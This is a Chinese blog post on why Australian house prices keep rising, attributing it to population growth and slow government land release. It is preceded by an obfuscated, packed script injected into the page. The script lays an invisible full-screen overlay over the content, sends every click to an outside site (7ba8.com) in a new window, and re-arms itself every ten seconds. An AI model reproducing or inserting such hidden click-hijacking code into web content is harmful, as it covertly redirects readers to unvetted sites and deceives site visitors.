<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>澳洲房价走势的生猛，想必大家都已经领教过了。即使是让英美房产市场崩盘的GFC都奈何不了它，澳洲房产市场只是象征性的小跌了一下下，就立即回头猛升。今天我就来剖开这头怪兽，来看看到底是什么支撑着它不断的猛涨。
澳洲房产市场坚挺的原因，其实最主要还是供小于求。
先说“求”，这个很简单，澳洲每年超过2%的人口增长，绝对是惊人的。而且这只是全国平均数字，悉尼、墨尔本等大城市的人口增长速度要比这还高。人口的快速增长，自然转化成了对房屋的大量需求。
然后再说“供”，这个就复杂得多了。在澳洲，把一块生地变成住宅，需要的时间可长达14年（这其中最主要的原因，是各个州政府和地区政府的不作为）。这个过程中的第一个环节，就是政府得先规划出住宅区，仅仅这个环节，就需要官僚作风极其严重的政府运作好长时间。等住宅区规划出来了，第二个环节就是建设配套设施，如医院、学校等等，由于这个环节需要资金，所以花的时间可能更长。
如上的两个环节，就像是澳洲房产市场上的两块牛皮癣，久治不愈，导致建设用地长期供应不足。如今GFC践踏过澳洲的金融市场之后，房屋供给量不足的问题被加重——因为开发商们获取资金变得更加的困难，导致新房建设量进一步减低。
简单点讲，就是该给批地的不愿意批地，该建房的没有钱建房。二者加在一起，导致了现在房屋供给量的严重不足！
更恐怖的是，由于每年的建设量都小于当年新增加出来的需求量。几年下来，澳洲住房总供应量已经远远的小于总需求量，而且二者只差还在年年加大。
如果微观一点看，维多利亚在这方面做的还算是最好的，供需之间的缺口相对最小。而新南威尔士则表现得最差（主要是因为新州政府最无能），甚至有人已经指出，如果墨尔本取代悉尼成为澳洲第一大城市的话，那其中一个很主要的因素就肯定是悉尼不能像墨尔本那样给新增加的人口提供住房.
未完待续…… |
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